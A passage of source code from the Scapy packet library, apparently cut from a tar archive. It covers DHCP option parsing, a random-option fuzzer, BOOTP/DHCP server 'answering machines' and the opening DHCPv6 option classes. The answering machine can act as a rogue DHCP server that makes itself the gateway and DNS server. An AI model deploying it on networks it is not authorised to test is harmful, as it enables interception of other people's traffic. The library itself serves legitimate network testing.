IPField("lpr_server","0.0.0.0"), 12: "hostname", 14: "dump_path", 15: "domain", 17: "root_disk_path", 22: "max_dgram_reass_size", 23: "default_ttl", 24: "pmtu_timeout", 28: IPField("broadcast_address","0.0.0.0"), 35: "arp_cache_timeout", 36: "ether_or_dot3", 37: "tcp_ttl", 38: "tcp_keepalive_interval", 39: "tcp_keepalive_garbage", 40: "NIS_domain", 41: IPField("NIS_server","0.0.0.0"), 42: IPField("NTP_server","0.0.0.0"), 43: "vendor_specific", 44: IPField("NetBIOS_server","0.0.0.0"), 45: IPField("NetBIOS_dist_server","0.0.0.0"), 50: IPField("requested_addr","0.0.0.0"), 51: IntField("lease_time", 43200), 54: IPField("server_id","0.0.0.0"), 55: "param_req_list", 56: "error_message", 57: ShortField("max_dhcp_size", 1500), 58: IntField("renewal_time", 21600), 59: IntField("rebinding_time", 37800), 60: "vendor_class_id", 61: "client_id", 64: "NISplus_domain", 65: IPField("NISplus_server","0.0.0.0"), 69: IPField("SMTP_server","0.0.0.0"), 70: IPField("POP3_server","0.0.0.0"), 71: IPField("NNTP_server","0.0.0.0"), 72: IPField("WWW_server","0.0.0.0"), 73: IPField("Finger_server","0.0.0.0"), 74: IPField("IRC_server","0.0.0.0"), 75: IPField("StreetTalk_server","0.0.0.0"), 76: "StreetTalk_Dir_Assistance", 82: "relay_agent_Information", 53: ByteEnumField("message-type", 1, DHCPTypes), # 55: DHCPRequestListField("request-list"), 255: "end" } DHCPRevOptions = {} for k,v in DHCPOptions.iteritems(): if type(v) is str: n = v v = None else: n = v.name DHCPRevOptions[n] = (k,v) del(n) del(v) del(k) class RandDHCPOptions(RandField): def __init__(self, size=None, rndstr=None): if size is None: size = RandNumExpo(0.05) self.size = size if rndstr is None: rndstr = RandBin(RandNum(0,255)) self.rndstr=rndstr self._opts = DHCPOptions.values() self._opts.remove("pad") self._opts.remove("end") def _fix(self): op = [] for k in xrange(self.size): o = random.choice(self._opts) if type(o) is str: op.append((o,self.rndstr*1)) else: op.append((o.name, o.randval()._fix())) return op class DHCPOptionsField(StrField): islist=1 def i2repr(self,pkt,x): s = [] for v in x: if type(v) is tuple and len(v) >= 2: if DHCPRevOptions.has_key(v[0]) and isinstance(DHCPRevOptions[v[0]][1],Field): f = DHCPRevOptions[v[0]][1] vv = ",".join(f.i2repr(pkt,val) for val in v[1:]) else: vv = ",".join(repr(val) for val in v[1:]) r = "%s=%s" % (v[0],vv) s.append(r) else: s.append(sane(v)) return "[%s]" % (" ".join(s)) def getfield(self, pkt, s): return "", self.m2i(pkt, s) def m2i(self, pkt, x): opt = [] while x: o = ord(x[0]) if o == 255: opt.append("end") x = x[1:] continue if o == 0: opt.append("pad") x = x[1:] continue if len(x) < 2 or len(x) < ord(x[1])+2: opt.append(x) break elif DHCPOptions.has_key(o): f = DHCPOptions[o] if isinstance(f, str): olen = ord(x[1]) opt.append( (f,x[2:olen+2]) ) x = x[olen+2:] else: olen = ord(x[1]) lval = [f.name] try: left = x[2:olen+2] while left: left, val = f.getfield(pkt,left) lval.append(val) except: opt.append(x) break else: otuple = tuple(lval) opt.append(otuple) x = x[olen+2:] else: olen = ord(x[1]) opt.append((o, x[2:olen+2])) x = x[olen+2:] return opt def i2m(self, pkt, x): if type(x) is str: return x s = "" for o in x: if type(o) is tuple and len(o) >= 2: name = o[0] lval = o[1:] if isinstance(name, int): onum, oval = name, "".join(lval) elif DHCPRevOptions.has_key(name): onum, f = DHCPRevOptions[name] if f is not None: lval = [f.addfield(pkt,"",f.any2i(pkt,val)) for val in lval] oval = "".join(lval) else: warning("Unknown field option %s" % name) continue s += chr(onum) s += chr(len(oval)) s += oval elif (type(o) is str and DHCPRevOptions.has_key(o) and DHCPRevOptions[o][1] == None): s += chr(DHCPRevOptions[o][0]) elif type(o) is int: s += chr(o)+"\0" elif type(o) is str: s += o else: warning("Malformed option %s" % o) return s class DHCP(Packet): name = "DHCP options" fields_desc = [ DHCPOptionsField("options","") ] bind_layers( UDP, BOOTP, dport=67, sport=68) bind_layers( UDP, BOOTP, dport=68, sport=67) bind_bottom_up( UDP, BOOTP, dport=67, sport=67) bind_layers( BOOTP, DHCP, options='c\x82Sc') def dhcp_request(iface=None,**kargs): if conf.checkIPaddr != 0: warning("conf.checkIPaddr is not 0, I may not be able to match the answer") if iface is None: iface = conf.iface fam,hw = get_if_raw_hwaddr(iface) return srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67) /BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]),iface=iface,**kargs) class BOOTP_am(AnsweringMachine): function_name = "bootpd" filter = "udp and port 68 and port 67" send_function = staticmethod(sendp) def parse_options(self, pool=Net("192.168.1.128/25"), network="192.168.1.0/24",gw="192.168.1.1", domain="localnet", renewal_time=60, lease_time=1800): if type(pool) is str: poom = Net(pool) self.domain = domain netw,msk = (network.split("/")+["32"])[:2] msk = itom(int(msk)) self.netmask = ltoa(msk) self.network = ltoa(atol(netw)&msk) self.broadcast = ltoa( atol(self.network) | (0xffffffff&~msk) ) self.gw = gw if isinstance(pool,Gen): pool = [k for k in pool if k not in [gw, self.network, self.broadcast]] pool.reverse() if len(pool) == 1: pool, = pool self.pool = pool self.lease_time = lease_time self.renewal_time = renewal_time self.leases = {} def is_request(self, req): if not req.haslayer(BOOTP): return 0 reqb = req.getlayer(BOOTP) if reqb.op != 1: return 0 return 1 def print_reply(self, req, reply): print "Reply %s to %s" % (reply.getlayer(IP).dst,reply.dst) def make_reply(self, req): mac = req.src if type(self.pool) is list: if not self.leases.has_key(mac): self.leases[mac] = self.pool.pop() ip = self.leases[mac] else: ip = self.pool repb = req.getlayer(BOOTP).copy() repb.op="BOOTREPLY" repb.yiaddr = ip repb.siaddr = self.gw repb.ciaddr = self.gw repb.giaddr = self.gw del(repb.payload) rep=Ether(dst=mac)/IP(dst=ip)/UDP(sport=req.dport,dport=req.sport)/repb return rep class DHCP_am(BOOTP_am): function_name="dhcpd" def make_reply(self, req): resp = BOOTP_am.make_reply(self, req) if DHCP in req: dhcp_options = [(op[0],{1:2,3:5}.get(op[1],op[1])) for op in req[DHCP].options if type(op) is tuple and op[0] == "message-type"] dhcp_options += [("server_id",self.gw), ("domain", self.domain), ("router", self.gw), ("name_server", self.gw), ("broadcast_address", self.broadcast), ("subnet_mask", self.netmask), ("renewal_time", self.renewal_time), ("lease_time", self.lease_time), "end" ] resp /= DHCP(options=dhcp_options) return resp scapy-2.3.3/scapy/layers/dhcp6.py000066400000000000000000002101221300136037300166240ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2005 Guillaume Valadon ## Arnaud Ebalard """ DHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315] """ import socket from scapy.packet import * from scapy.fields import * from scapy.data import * from scapy.utils6 import * from scapy.themes import Color from scapy.layers.inet6 import * from scapy.ansmachine import AnsweringMachine from scapy.sendrecv import * ############################################################################# # Helpers ## ############################################################################# def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) ############################################################################# ############################################################################# ### DHCPv6 ### ############################################################################# ############################################################################# All_DHCP_Relay_Agents_and_Servers = "ff02::1:2" All_DHCP_Servers = "ff05::1:3" # Site-Local scope : deprecated by 3879 dhcp6opts = { 1: "CLIENTID", 2: "SERVERID", 3: "IA_NA", 4: "IA_TA", 5: "IAADDR", 6: "ORO", 7: "PREFERENCE", 8: "ELAPSED_TIME", 9: "RELAY_MSG", 11: "AUTH", 12: "UNICAST", 13: "STATUS_CODE", 14: "RAPID_COMMIT", 15: "USER_CLASS", 16: "VENDOR_CLASS", 17: "VENDOR_OPTS", 18: "INTERFACE_ID", 19: "RECONF_MSG", 20: "RECONF_ACCEPT", 21: "SIP Servers Domain Name List", #RFC3319 22: "SIP Servers IPv6 Address List", #RFC3319 23: "DNS Recursive Name Server Option", #RFC3646 24: "Domain Search List option", #RFC3646 25: "OPTION_IA_PD", #RFC3633 26: "OPTION_IAPREFIX", #RFC3633 27: "OPTION_NIS_SERVERS", #RFC3898 28: "OPTION_NISP_SERVERS", #RFC3898 29: "OPTION_NIS_DOMAIN_NAME", #RFC3898 30: "OPTION_NISP_DOMAIN_NAME", #RFC3898 31: "OPTION_SNTP_SERVERS", #RFC4075 32: "OPTION_INFORMATION_REFRESH_TIME", #RFC4242 33: "OPTION_BCMCS_SERVER_D", #RFC4280 34: "OPTION_BCMCS_SERVER_A", #RFC4280 36: "OPTION_GEOCONF_CIVIC", #RFC-ietf-geopriv-dhcp-civil-09.txt 37: "OPTION_REMOTE_ID", #RFC4649 38: "OPTION_SUBSCRIBER_ID", #RFC4580 39: "OPTION_CLIENT_FQDN" } #RFC4704 dhcp6opts_by_code = { 1: "DHCP6OptClientId", 2: "DHCP6OptServerId", 3: "DHCP6OptIA_NA", 4: "DHCP6OptIA_TA", 5: "DHCP6OptIAAddress", 6: "DHCP6OptOptReq", 7: "DHCP6OptPref", 8: "DHCP6OptElapsedTime", 9: "DHCP6OptRelayMsg", 11: "DHCP6OptAuth", 12: "DHCP6OptServerUnicast", 13: "DHCP6OptStatusCode", 14: "DHCP6OptRapidCommit", 15: "DHCP6OptUserClass", 16: "DHCP6OptVendorClass", 17: "DHCP6OptVendorSpecificInfo", 18: "DHCP6OptIfaceId", 19: "DHCP6OptReconfMsg", 20: "DHCP6OptReconfAccept", 21: "DHCP6OptSIPDomains", #RFC3319 22: "DHCP6OptSIPServers", #RFC3319 23: "DHCP6OptDNSServers", #RFC3646 24: "DHCP6OptDNSDomains", #RFC3646 25: "DHCP6OptIA_PD", #RFC3633 26: "DHCP6OptIAPrefix", #RFC3633 27: "DHCP6OptNISServers", #RFC3898 28: "DHCP6OptNISPServers", #RFC3898 29: "DHCP6OptNISDomain", #RFC3898 30: "DHCP6OptNISPDomain", #RFC3898 31: "DHCP6OptSNTPServers", #RFC4075 32: "DHCP6OptInfoRefreshTime", #RFC4242 33: "DHCP6OptBCMCSDomains", #RFC4280 34: "DHCP6OptBCMCSServers", #RFC4280 #36: "DHCP6OptGeoConf", #RFC-ietf-geopriv-dhcp-civil-09.txt 37: "DHCP6OptRemoteID", #RFC4649 38: "DHCP6OptSubscriberID", #RFC4580 39: "DHCP6OptClientFQDN", #RFC4704 #40: "DHCP6OptPANAAgent", #RFC-ietf-dhc-paa-option-05.txt #41: "DHCP6OptNewPOSIXTimeZone, #RFC4833 #42: "DHCP6OptNewTZDBTimeZone, #RFC4833 43: "DHCP6OptRelayAgentERO" #RFC4994 #44: "DHCP6OptLQQuery", #RFC5007 #45: "DHCP6OptLQClientData", #RFC5007 #46: "DHCP6OptLQClientTime", #RFC5007 #47: "DHCP6OptLQRelayData", #RFC5007 #48: "DHCP6OptLQClientLink", #RFC5007 } # sect 5.3 RFC 3315 : DHCP6 Messages types dhcp6types = { 1:"SOLICIT", 2:"ADVERTISE", 3:"REQUEST", 4:"CONFIRM", 5:"RENEW", 6:"REBIND", 7:"REPLY", 8:"RELEASE", 9:"DECLINE", 10:"RECONFIGURE", 11:"INFORMATION-REQUEST", 12:"RELAY-FORW", 13:"RELAY-REPL" } ##################################################################### ### DHCPv6 DUID related stuff ### ##################################################################### duidtypes = { 1: "Link-layer address plus time", 2: "Vendor-assigned unique ID based on Enterprise Number", 3: "Link-layer Address", 4: "UUID" } # DUID hardware types - RFC 826 - Extracted from # http://www.iana.org/assignments/arp-parameters on 31/10/06 # We should add the length of every kind of address. duidhwtypes = { 0: "NET/ROM pseudo", # Not referenced by IANA 1: "Ethernet (10Mb)", 2: "Experimental Ethernet (3Mb)", 3: "Amateur Radio AX.25", 4: "Proteon ProNET Token Ring", 5: "Chaos", 6: "IEEE 802 Networks", 7: "ARCNET", 8: "Hyperchannel", 9: "Lanstar", 10: "Autonet Short Address", 11: "LocalTalk", 12: "LocalNet (IBM PCNet or SYTEK LocalNET)", 13: "Ultra link", 14: "SMDS", 15: "Frame Relay", 16: "Asynchronous Transmission Mode (ATM)", 17: "HDLC", 18: "Fibre Channel", 19: "Asynchronous Transmission Mode (ATM)", 20: "Serial Line", 21: "Asynchronous Transmission Mode (ATM)", 22: "MIL-STD-188-220", 23: "Metricom", 24: "IEEE 1394.1995", 25: "MAPOS", 26: "Twinaxial", 27: "EUI-64", 28: "HIPARP", 29: "IP and ARP over ISO 7816-3", 30: "ARPSec", 31: "IPsec tunnel", 32: "InfiniBand (TM)", 33: "TIA-102 Project 25 Common Air Interface (CAI)" } class UTCTimeField(IntField): epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0) # required Epoch def i2repr(self, pkt, x): x = self.i2h(pkt, x) from time import gmtime, strftime, mktime delta = mktime(self.epoch) - mktime(gmtime(0)) x = x + delta t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(x)) return "%s (%d)" % (t, x) class _LLAddrField(MACField): pass # XXX We only support Ethernet addresses at the moment. _LLAddrField # will be modified when needed. Ask us. --arno class DUID_LLT(Packet): # sect 9.2 RFC 3315 name = "DUID - Link-layer address plus time" fields_desc = [ ShortEnumField("type", 1, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), UTCTimeField("timeval", 0), # i.e. 01 Jan 2000 _LLAddrField("lladdr", ETHER_ANY) ] # In fact, IANA enterprise-numbers file available at # http//www.iana.org/asignments/enterprise-numbers) # is simply huge (more than 2Mo and 600Ko in bz2). I'll # add only most common vendors, and encountered values. # -- arno iana_enterprise_num = { 9: "ciscoSystems", 35: "Nortel Networks", 43: "3Com", 311: "Microsoft", 2636: "Juniper Networks, Inc.", 4526: "Netgear", 5771: "Cisco Systems, Inc.", 5842: "Cisco Systems", 16885: "Nortel Networks" } class DUID_EN(Packet): # sect 9.3 RFC 3315 name = "DUID - Assigned by Vendor Based on Enterprise Number" fields_desc = [ ShortEnumField("type", 2, duidtypes), IntEnumField("enterprisenum", 311, iana_enterprise_num), StrField("id","") ] class DUID_LL(Packet): # sect 9.4 RFC 3315 name = "DUID - Based on Link-layer Address" fields_desc = [ ShortEnumField("type", 3, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), _LLAddrField("lladdr", ETHER_ANY) ] class DUID_UUID(Packet): # RFC 6355 name = "DUID - Based on UUID" fields_desc = [ ShortEnumField("type", 4, duidtypes), StrFixedLenField("uuid","", 16) ] duid_cls = { 1: "DUID_LLT", 2: "DUID_EN", 3: "DUID_LL", 4: "DUID_UUID"} ##################################################################### ### DHCPv6 Options classes ### ##################################################################### class _DHCP6OptGuessPayload(Packet): def guess_payload_class(self, payload): cls = conf.raw_layer if len(payload) > 2 : opt = struct.unpack("!H", payload[:2])[0] cls = get_cls(dhcp6opts_by_code.get(opt, "DHCP6OptUnknown"), DHCP6OptUnknown) return cls class DHCP6OptUnknown(_DHCP6OptGuessPayload): # A generic DHCPv6 Option name = "Unknown DHCPv6 Option" fields_desc = [ ShortEnumField("optcode", 0, dhcp6opts), FieldLenField("optlen", None, length_of="data", fmt="!H"), StrLenField("data", "", length_from = lambda pkt: pkt.optlen)] class _DUIDField(PacketField): __slots__ = ["length_from"] def __init__(self, name, default, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from def i2m(self, pkt, i): return str(i) def m2i(self, pkt, x): cls = conf.raw_layer if len(x) > 4: o = struct.unpack("!H", x[:2])[0] cls = get_cls(duid_cls.get(o, conf.raw_layer), conf.raw_layer) return cls(x) def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:], self.m2i(pkt,s[:l]) class DHCP6OptClientId(_DHCP6OptGuessPayload): # RFC sect 22.2 name = "DHCP6 Client Identifier Option" fields_desc = [ ShortEnumField("optcode", 1, dhcp6opts), FieldLenField("optlen", None, length_of="duid", fmt="!H"), _DUIDField("duid", "", length_from = lambda pkt: pkt.optlen) ] class DHCP6OptServerId(DHCP6OptClientId): # RFC sect 22.3 name = "DHCP6 Server Identifier Option" optcode = 2 # Should be encapsulated in the option field of IA_NA or IA_TA options # Can only appear at that location. # TODO : last field IAaddr-options is not defined in the reference document class DHCP6OptIAAddress(_DHCP6OptGuessPayload): # RFC sect 22.6 name = "DHCP6 IA Address Option (IA_TA or IA_NA suboption)" fields_desc = [ ShortEnumField("optcode", 5, dhcp6opts), FieldLenField("optlen", None, length_of="iaaddropts", fmt="!H", adjust = lambda pkt,x: x+24), IP6Field("addr", "::"), IntField("preflft", 0), IntField("validlft", 0), StrLenField("iaaddropts", "", length_from = lambda pkt: pkt.optlen - 24) ] def guess_payload_class(self, payload): return conf.padding_layer class _IANAOptField(PacketListField): def i2len(self, pkt, z): if z is None or z == []: return 0 return sum(map(lambda x: len(str(x)) ,z)) def getfield(self, pkt, s): l = self.length_from(pkt) lst = [] remain, payl = s[:l], s[l:] while len(remain)>0: p = self.m2i(pkt,remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return payl,lst class DHCP6OptIA_NA(_DHCP6OptGuessPayload): # RFC sect 22.4 name = "DHCP6 Identity Association for Non-temporary Addresses Option" fields_desc = [ ShortEnumField("optcode", 3, dhcp6opts), FieldLenField("optlen", None, length_of="ianaopts", fmt="!H", adjust = lambda pkt,x: x+12), XIntField("iaid", None), IntField("T1", None), IntField("T2", None), _IANAOptField("ianaopts", [], DHCP6OptIAAddress, length_from = lambda pkt: pkt.optlen-12) ] class _IATAOptField(_IANAOptField): pass class DHCP6OptIA_TA(_DHCP6OptGuessPayload): # RFC sect 22.5 name = "DHCP6 Identity Association for Temporary Addresses Option" fields_desc = [ ShortEnumField("optcode", 4, dhcp6opts), FieldLenField("optlen", None, length_of="iataopts", fmt="!H", adjust = lambda pkt,x: x+4), XIntField("iaid", None), _IATAOptField("iataopts", [], DHCP6OptIAAddress, length_from = lambda pkt: pkt.optlen-4) ] #### DHCPv6 Option Request Option ################################### class _OptReqListField(StrLenField): islist = 1 def i2h(self, pkt, x): if x is None: return [] return x def i2len(self, pkt, x): return 2*len(x) def any2i(self, pkt, x): return x def i2repr(self, pkt, x): s = [] for y in self.i2h(pkt, x): if dhcp6opts.has_key(y): s.append(dhcp6opts[y]) else: s.append("%d" % y) return "[%s]" % ", ".join(s) def m2i(self, pkt, x): r = [] while len(x) != 0: if len(x)<2: warning("Odd length for requested option field. Rejecting last byte") return r r.append(struct.unpack("!H", x[:2])[0]) x = x[2:] return r def i2m(self, pkt, x): return "".join(map(lambda y: struct.pack("!H", y), x)) # A client may include an ORO in a solicit, Request, Renew, Rebind, # Confirm or Information-request class DHCP6OptOptReq(_DHCP6OptGuessPayload): # RFC sect 22.7 name = "DHCP6 Option Request Option" fields_desc = [ ShortEnumField("optcode", 6, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), _OptReqListField("reqopts", [23, 24], length_from = lambda pkt: pkt.optlen) ] #### DHCPv6 Preference Option ####################################### # emise par un serveur pour affecter le choix fait par le client. Dans # les messages Advertise, a priori class DHCP6OptPref(_DHCP6OptGuessPayload): # RFC sect 22.8 name = "DHCP6 Preference Option" fields_desc = [ ShortEnumField("optcode", 7, dhcp6opts), ShortField("optlen", 1 ), ByteField("prefval",255) ] #### DHCPv6 Elapsed Time Option ##################################### class _ElapsedTimeField(ShortField): def i2repr(self, pkt, x): if x == 0xffff: return "infinity (0xffff)" return "%.2f sec" % (self.i2h(pkt, x)/100.) class DHCP6OptElapsedTime(_DHCP6OptGuessPayload):# RFC sect 22.9 name = "DHCP6 Elapsed Time Option" fields_desc = [ ShortEnumField("optcode", 8, dhcp6opts), ShortField("optlen", 2), _ElapsedTimeField("elapsedtime", 0) ] #### DHCPv6 Relay Message Option #################################### # Relayed message is seen as a payload. class DHCP6OptRelayMsg(_DHCP6OptGuessPayload):# RFC sect 22.10 name = "DHCP6 Relay Message Option" fields_desc = [ ShortEnumField("optcode", 9, dhcp6opts), ShortField("optlen", None ) ] def post_build(self, p, pay): if self.optlen is None: l = len(pay) p = p[:2]+struct.pack("!H", l) return p + pay #### DHCPv6 Authentication Option ################################### # The following fields are set in an Authentication option for the # Reconfigure Key Authentication Protocol: # # protocol 3 # # algorithm 1 # # RDM 0 # # The format of the Authentication information for the Reconfigure Key # Authentication Protocol is: # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Type | Value (128 bits) | # +-+-+-+-+-+-+-+-+ | # . . # . . # . +-+-+-+-+-+-+-+-+ # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Type Type of data in Value field carried in this option: # # 1 Reconfigure Key value (used in Reply message). # # 2 HMAC-MD5 digest of the message (used in Reconfigure # message). # # Value Data as defined by field. # TODO : Decoding only at the moment class DHCP6OptAuth(_DHCP6OptGuessPayload): # RFC sect 22.11 name = "DHCP6 Option - Authentication" fields_desc = [ ShortEnumField("optcode", 11, dhcp6opts), FieldLenField("optlen", None, length_of="authinfo", adjust = lambda pkt,x: x+11), ByteField("proto", 3), # TODO : XXX ByteField("alg", 1), # TODO : XXX ByteField("rdm", 0), # TODO : XXX StrFixedLenField("replay", "A"*8, 8), # TODO: XXX StrLenField("authinfo", "", length_from = lambda pkt: pkt.optlen - 11) ] #### DHCPv6 Server Unicast Option ################################### class _SrvAddrField(IP6Field): def i2h(self, pkt, x): if x is None: return "::" return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, self.i2h(pkt,x)) class DHCP6OptServerUnicast(_DHCP6OptGuessPayload):# RFC sect 22.12 name = "DHCP6 Server Unicast Option" fields_desc = [ ShortEnumField("optcode", 12, dhcp6opts), ShortField("optlen", 16 ), _SrvAddrField("srvaddr",None) ] #### DHCPv6 Status Code Option ###################################### dhcp6statuscodes = { 0:"Success", # sect 24.4 1:"UnspecFail", 2:"NoAddrsAvail", 3:"NoBinding", 4:"NotOnLink", 5:"UseMulticast", 6:"NoPrefixAvail"} # From RFC3633 class DHCP6OptStatusCode(_DHCP6OptGuessPayload):# RFC sect 22.13 name = "DHCP6 Status Code Option" fields_desc = [ ShortEnumField("optcode", 13, dhcp6opts), FieldLenField("optlen", None, length_of="statusmsg", fmt="!H", adjust = lambda pkt,x:x+2), ShortEnumField("statuscode",None,dhcp6statuscodes), StrLenField("statusmsg", "", length_from = lambda pkt: pkt.optlen-2) ] #### DHCPv6 Rapid Commit Option ##################################### class DHCP6OptRapidCommit(_DHCP6OptGuessPayload): # RFC sect 22.14 name = "DHCP6 Rapid Commit Option" fields_desc = [ ShortEnumField("optcode", 14, dhcp6opts), ShortField("optlen", 0)] #### DHCPv6 User Class Option ####################################### class _UserClassDataField(PacketListField): def i2len(self, pkt, z): if z is None or z == []: return 0 return sum(map(lambda x: len(str(x)) ,z)) def getfield(self, pkt, s): l = self.length_from(pkt) lst = [] remain, payl = s[:l], s[l:] while len(remain)>0: p = self.m2i(pkt,remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return payl,lst class USER_CLASS_DATA(Packet): name = "user class data" fields_desc = [ FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from = lambda pkt: pkt.len) ] def guess_payload_class(self, payload): return conf.padding_layer class DHCP6OptUserClass(_DHCP6OptGuessPayload):# RFC sect 22.15 name = "DHCP6 User Class Option" fields_desc = [ ShortEnumField("optcode", 15, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="userclassdata"), _UserClassDataField("userclassdata", [], USER_CLASS_DATA, length_from = lambda pkt: pkt.optlen) ] #### DHCPv6 Vendor Class Option ##################################### class _VendorClassDataField(_UserClassDataField): pass class VENDOR_CLASS_DATA(USER_CLASS_DATA): name = "vendor class data" class DHCP6OptVendorClass(_DHCP6OptGuessPayload):# RFC sect 22.16 name = "DHCP6 Vendor Class Option" fields_desc = [ ShortEnumField("optcode", 16, dhcp6opts), FieldLenField("optlen", None, length_of="vcdata", fmt="!H", adjust = lambda pkt,x: x+4), IntEnumField("enterprisenum",None , iana_enterprise_num ), _VendorClassDataField("vcdata", [], VENDOR_CLASS_DATA, length_from = lambda pkt: pkt.optlen-4) ] #### DHCPv6 Vendor-Specific Information Option ###################### class VENDOR_SPECIFIC_OPTION(_DHCP6OptGuessPayload): name = "vendor specific option data" fields_desc = [ ShortField("optcode", None), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen) ] def guess_payload_class(self, payload): return conf.padding_layer # The third one that will be used for nothing interesting class DHCP6OptVendorSpecificInfo(_DHCP6OptGuessPayload):# RFC sect 22.17 name = "DHCP6 Vendor-specific Information Option" fields_desc = [ ShortEnumField("optcode", 17, dhcp6opts), FieldLenField("optlen", None, length_of="vso", fmt="!H", adjust = lambda pkt,x: x+4), IntEnumField("enterprisenum",None , iana_enterprise_num), _VendorClassDataField("vso", [], VENDOR_SPECIFIC_OPTION, length_from = lambda pkt: pkt.optlen-4) ] #### DHCPv6 Interface-ID Option ##################################### # Repasser sur cette option a la fin. Elle a pas l'air d'etre des # masses critique. class DHCP6OptIfaceId(_DHCP6OptGuessPayload):# RFC sect 22.18 name = "DHCP6 Interface-Id Option" fields_desc = [ ShortEnumField("optcode", 18, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="ifaceid"), StrLenField("ifaceid", "", length_from = lambda pkt: pkt.optlen) ] #### DHCPv6 Reconfigure Message Option ############################## # A server includes a Reconfigure Message option in a Reconfigure # message to indicate to the client whether the client responds with a # renew message or an Informatiion-request message. class DHCP6OptReconfMsg(_DHCP6OptGuessPayload): # RFC sect 22.19 name = "DHCP6 Reconfigure Message Option" fields_desc = [ ShortEnumField("optcode", 19, dhcp6opts), ShortField("optlen", 1 ), ByteEnumField("msgtype", 11, { 5:"Renew Message", 11:"Information Request"}) ] #### DHCPv6 Reconfigure Accept Option ############################### # A client uses the Reconfigure Accept option to announce to the # server whether the client is willing to accept Recoonfigure # messages, and a server uses this option to tell the client whether # or not to accept Reconfigure messages. The default behavior in the # absence of this option, means unwillingness to accept reconfigure # messages, or instruction not to accept Reconfigure messages, for the # client and server messages, respectively. class DHCP6OptReconfAccept(_DHCP6OptGuessPayload): # RFC sect 22.20 name = "DHCP6 Reconfigure Accept Option" fields_desc = [ ShortEnumField("optcode", 20, dhcp6opts), ShortField("optlen", 0)] class DHCP6OptSIPDomains(_DHCP6OptGuessPayload): #RFC3319 name = "DHCP6 Option - SIP Servers Domain Name List" fields_desc = [ ShortEnumField("optcode", 21, dhcp6opts), FieldLenField("optlen", None, length_of="sipdomains"), DomainNameListField("sipdomains", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptSIPServers(_DHCP6OptGuessPayload): #RFC3319 name = "DHCP6 Option - SIP Servers IPv6 Address List" fields_desc = [ ShortEnumField("optcode", 22, dhcp6opts), FieldLenField("optlen", None, length_of="sipservers"), IP6ListField("sipservers", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptDNSServers(_DHCP6OptGuessPayload): #RFC3646 name = "DHCP6 Option - DNS Recursive Name Server" fields_desc = [ ShortEnumField("optcode", 23, dhcp6opts), FieldLenField("optlen", None, length_of="dnsservers"), IP6ListField("dnsservers", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptDNSDomains(_DHCP6OptGuessPayload): #RFC3646 name = "DHCP6 Option - Domain Search List option" fields_desc = [ ShortEnumField("optcode", 24, dhcp6opts), FieldLenField("optlen", None, length_of="dnsdomains"), DomainNameListField("dnsdomains", [], length_from = lambda pkt: pkt.optlen) ] # TODO: Implement iaprefopts correctly when provided with more # information about it. class DHCP6OptIAPrefix(_DHCP6OptGuessPayload): #RFC3633 name = "DHCP6 Option - IA_PD Prefix option" fields_desc = [ ShortEnumField("optcode", 26, dhcp6opts), FieldLenField("optlen", None, length_of="iaprefopts", adjust = lambda pkt,x: x+26), IntField("preflft", 0), IntField("validlft", 0), ByteField("plen", 48), # TODO: Challenge that default value IP6Field("prefix", "2001:db8::"), # At least, global and won't hurt StrLenField("iaprefopts", "", length_from = lambda pkt: pkt.optlen-26) ] class DHCP6OptIA_PD(_DHCP6OptGuessPayload): #RFC3633 name = "DHCP6 Option - Identity Association for Prefix Delegation" fields_desc = [ ShortEnumField("optcode", 25, dhcp6opts), FieldLenField("optlen", None, length_of="iapdopt", adjust = lambda pkt,x: x+12), IntField("iaid", 0), IntField("T1", 0), IntField("T2", 0), PacketListField("iapdopt", [], DHCP6OptIAPrefix, length_from = lambda pkt: pkt.optlen-12) ] class DHCP6OptNISServers(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS Servers" fields_desc = [ ShortEnumField("optcode", 27, dhcp6opts), FieldLenField("optlen", None, length_of="nisservers"), IP6ListField("nisservers", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptNISPServers(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS+ Servers" fields_desc = [ ShortEnumField("optcode", 28, dhcp6opts), FieldLenField("optlen", None, length_of="nispservers"), IP6ListField("nispservers", [], length_from = lambda pkt: pkt.optlen) ] class DomainNameField(StrLenField): def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:], self.m2i(pkt,s[:l]) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def m2i(self, pkt, x): cur = [] while x: l = ord(x[0]) cur.append(x[1:1+l]) x = x[l+1:] ret_str = ".".join(cur) return ret_str def i2m(self, pkt, x): if not x: return "" tmp = "".join(map(lambda z: chr(len(z))+z, 